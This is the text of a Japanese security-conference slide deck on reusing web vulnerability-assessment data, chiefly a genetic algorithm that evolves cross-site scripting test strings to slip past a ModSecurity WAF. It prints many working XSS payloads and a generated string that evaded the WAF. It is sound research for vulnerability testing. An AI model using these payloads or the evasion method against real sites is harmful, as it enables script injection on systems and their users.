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2017.07.31
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Presented by Isao Takaesu
脆弱性診断データの活用例
- Webアプリケーション診断編 -
About the speaker
• 職業 : セキュリティエンジニア
• 所属 : 三井物産セキュアディレクション
• 趣味 : 脆弱性スキャナ作り、機械学習
• ブログ: http://www.mbsd.jp/blog/
• AISECjp共同管理者
高江洲 勲
Takaesu Isao
(@bbr_bbq)
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お話する内容
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ノウハウが詰まった脆弱性診断結果を基に、
新たな価値を生み出す試み。
Webアプリケーション診断とは?
診断員
Web Server
Web Apps
診断ベンダ 顧客
疑似攻撃
レスポンスの分析
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 Webアプリをクローリングしながら疑似攻撃
 レスポンスを分析して脆弱性を判定
診断データの一例(XSS)
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<img[Sp]src=x[Sp]onerror=alert();>
</textarea><script>alert();</script>
"><script>alert();</script>
'--><script>prompt();</script>
"><frame[Sp]src="javascript:prompt()">
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'[CrLf][Sp]MsgBox[Sp]'3122
[CrLf][Sp]MsgBox[Sp]Document.Domain
javascript:alert``;
"[Sp]&[Sp]msgbox("exploit")[Sp]&[Sp]"aa
*/[CrLf]alert``;//
・・・
様々な脆弱性の検査値が蓄積される
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診断データの活用事例
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 学習教材として活用
熟練診断員の診断データを新人教育に活用
 脆弱性検出の自動化
診断データをベクトル化し、機械学習モデルに落とし込む
https://www.slideshare.net/babaroa/recommender-for-web-security-engineers
https://www.slideshare.net/babaroa/recommender-for-web-security-engineers-77999699
 検査値の自動生成
過去使用の検知値を基に、新たな検査値を自動生成
診断データの活用事例
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 学習教材として活用
熟練診断員の診断データを新人教育に活用
 脆弱性検出の自動化
診断データをベクトル化し、機械学習モデルに落とし込む
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 検査値の自動生成
過去使用の検知値を基に、新たな検査値を自動生成
検査値の自動生成
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 頑張って手動でやる
 Generative Adversarial Network:GANを使う
 遺伝的アルゴリズム(Genetic Algorithm:GA)を使う
検査値の自動生成
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 頑張って手動でやる
 Generative Adversarial Network:GANを使う
 遺伝的アルゴリズム(Genetic Algorithm:GA)を使う
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生物進化における遺伝と適者生存による
自然淘汰の仕組みをシミュレートすることで
複雑な問題に対する最適解を探索する手法
進化計算の流れ
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初期集団の生成 適応度評価・選択
交叉突然変異
個体
世代交代
進化計算の流れ
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初期集団の生成 適応度評価・選択
交叉突然変異
個体
● ▲ ■ × ★遺伝子
世代交代
進化計算の流れ
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初期集団の生成 適応度評価・選択
交叉突然変異
個体
● ▲ ■ × ★遺伝子
世代交代
進化計算の流れ
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初期集団の生成 適応度評価・選択
交叉突然変異
個体
● ▲ ■ × ★遺伝子
世代交代
進化計算の流れ
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初期集団の生成 適応度評価・選択
交叉突然変異
個体
● ▲ ■ × ★遺伝子
世代交代
利用例
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 新幹線N700系
空気抵抗の少ないエアロ・ダブルウィング形状の計算
http://trendy.nikkeibp.co.jp/article/column/20070705/1001439/
 Super Mario World
全自動クリアが可能なMarioの行動パターンを計算
http://gigazine.net/news/20150616-mari-o/
 American Fuzzy Lop (Fuzzer)
カバレッジが高くなるFuzzを計算
http://lcamtuf.coredump.cx/afl/
今回のタスク
ssmjp
ssmjp
今回のタスク
タスク:Cross-Site Scriptingの検査値生成
目標 :・過去未使用の検査値の生成
・WAFを回避する検査値の生成
ssmjp
言葉の定義
 遺伝子(gene)
HTML・JSの最小構成要素
例)<img/, src=, x, onerror=, alert();, />
 個体(individual)
遺伝子の組み合わせ
例)<img/src=x onerror=alert(); />
 適応度(fitness)・評価(evaluation)
個体がWAFを回避する可能性
HTML構文の妥当性やスクリプト実行可能性を評価
ssmjp
言葉の定義
 選択(selection)
スクリプト実行可能性が高い個体(の遺伝子)を次世代に引き継ぐ
ぜんぜんダメな個体は淘汰
 交叉(crossover)
選択された二つの個体の遺伝子を掛け合わせて子孫を作る
よりスクリプト実行の可能性が高い子孫が誕生する
 突然変異(mutation)
個体の遺伝子をランダムに入れ替える
局所解に陥るのを防ぐ
やり方
ssmjp
ssmjp
事前準備
1. 過去に使用した検査値を収集
2. タグや属性等の最小要素に分割
3. 最小要素を遺伝子と定義+過去未使用の要素も遺伝子に追加
遺伝子リスト(約200種類)
ssmjp
初期集団の生成
ランダムに遺伝子を選択して個体を生成
初期集団の生成
適応度評価
選択
交叉
突然変異
終了
{85, 158, 96, 32, 85} {179, 62, 33, 130, 133}
遺伝子リスト
{98, 82, 25, 41, 198} {55, 9, 94, 194, 55}
・・・
{76, 6, 114, 149, 70} {107, 140, 172, 150, 38}
{102, 169, 76, 90, 208} {21, 168, 111, 15, 159}
初期集団
個体例
</blockquote>content= <basefont/<form </blockquote>
<iframe/language= <keygen/</img>coords=
ssmjp
適応度評価
初期集団の生成
適応度評価
選択
交叉
突然変異
終了
 評価ポイント
1. HTML構文としての正しさ
2. スクリプトの実行可否
⇒イベント系もハンドリング
3. WAFの突破可否
個体の適応度を評価し、スコアを計算
ssmjp
選択
初期集団の生成
適応度評価
選択
交叉
突然変異
終了
スコアの高い個体を選択
onerror=¥u0061lert();<body/list=<iframe/<progress
<hr <thead </td>rowspan=accept=
src=/ <a/</col><td </area>
選択
淘汰
onerror=alert();><body onerror=al¥u0065rt();<output
</applet><isindex/alert();<progress/script:alert();
<iframe/language= <keygen/</img>coords=
<hr ><video>onmouseover=confirm();><a
<body><img/<source/onerror=prompt();>
・・・
・・・
ssmjp
交叉
初期集団の生成
適応度評価
選択
交叉
突然変異
終了
選択された個体の遺伝子を掛け合わせ
優秀な子孫を次世代に残す
src=/ <a/</col><td </area>
親(現世代)
onerror=alert();><body onerror=al¥u0065rt();<output
<hr ><video>onmouseover=confirm();><a
<body><img/<source/onerror=prompt();>
×
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・・・
子孫(offspring)
</col><td><body onerror=al¥u0065rt();<output
<hr><video><source/onerror=prompt();>
・・・
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突然変異
初期集団の生成
適応度評価
選択
交叉
突然変異
終了
一定割合の個体・遺伝子をランダムに
入れ替える(局所解の脱出)
src=/ <a/</col><td </area>
変異前
変異後
<hr ><video>onmouseover=confirm();><a
<body><img/<source/onerror=prompt();>
・・・
onerror=alert();><body onerror=al¥u0065rt();<output
src=/ onerror=alert();<td </area>
<video><source/onmouseover=confirm();><a
<body><img/src= onerror=prompt();>
・・・
onerror=alert();><body onerror=al¥u0065rt();/>
ssmjp
終了
初期集団の生成
適応度評価
選択
交叉
突然変異
終了
 条件
・ 最大10,000世代
・ スコア3.0以上
終了条件を満たしたら進化計算を停止
検証結果
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検証条件
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遺伝子 約220種類
個体 100個
⇒5個の遺伝子で構成
適応度評価
HTML構文チェック:tidy 5.4.0
⇒警告とエラー数でスコアリング
スクリプト実行判定:selenium 3.4.3
⇒Chromeの仮想ドライバを使用
WAF回避判定:ModSecurity CRS 2.2.9
⇒onerrorのチェックを除外
選択 エリート選択
⇒上位30個を選択
交叉 2点交叉
突然変異 変異率:0.1
検証結果:検査値の自動生成
ssmjp
No 検査値 新旧
1 <body onmouseover=alert(); <script <label <canvas </basefont> 新
2 <body onload=alert(); list=</a><canvas </progress> 旧
3 <svg/onload=alert(); </del></label>border=<embed/ 旧
4 <img </caption><script>al¥u0065rt();</script> 新
5 java"<object data=saivs.html </label> 新
6 confirm(1);><video><source/onerror=javascript:alert();> 新
7 <body ><video><source onerror=alert();> 新
8 <body ><video><source onerror=confirm(1);> 新
9 ¥u0061lert();</colgroup><video><source/onerror=al¥u0065rt();> 新
10 <iframe onload=alert();></basefont></caption> 新
・・・ ・・・ ・・・
約30種類の新たな検査値を生成
検証結果:WAFの回避
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世代 検査値 WAF
1 -(スクリプト実行不可) -
100 -(スクリプト実行不可) -
349 <th</colgroup><video><source/onerror=al¥u0065rt();> block
1641 <hr><video><source/onerror=javascript:window.onerror=alert();> block
2743 <object/><video><source onerror=javascript:alert();> block
4568 confirm(1);><video><source onerror=javascript:alert();> block
・・・ ・・・ ・・・
5047 <body ><video><source onerror=alert();> block
6067 <img/><video><source onerror=alert();> block
6192 confirm(1);/><video><source onerror=alert();> block
6307 <body ><video><source onerror=confirm(1);> break
6307世代目でWAFを回避する検査文字列を生成(所要時間:約5h)
まとめ
・(GAは)組み合わせ最適解の探索に有効
・評価関数の設計がキモ
・ブラウザを変更することで、ブラウザ依存の検査値を生成可能
・出力箇所を考慮することで検査値のバリエーションを増やせる
・設定次第では、あらゆるタスクに応用可能か?
⇒但し、遺伝子の組み合わせ数が多くなると収束しない可能性あり
ssmjp
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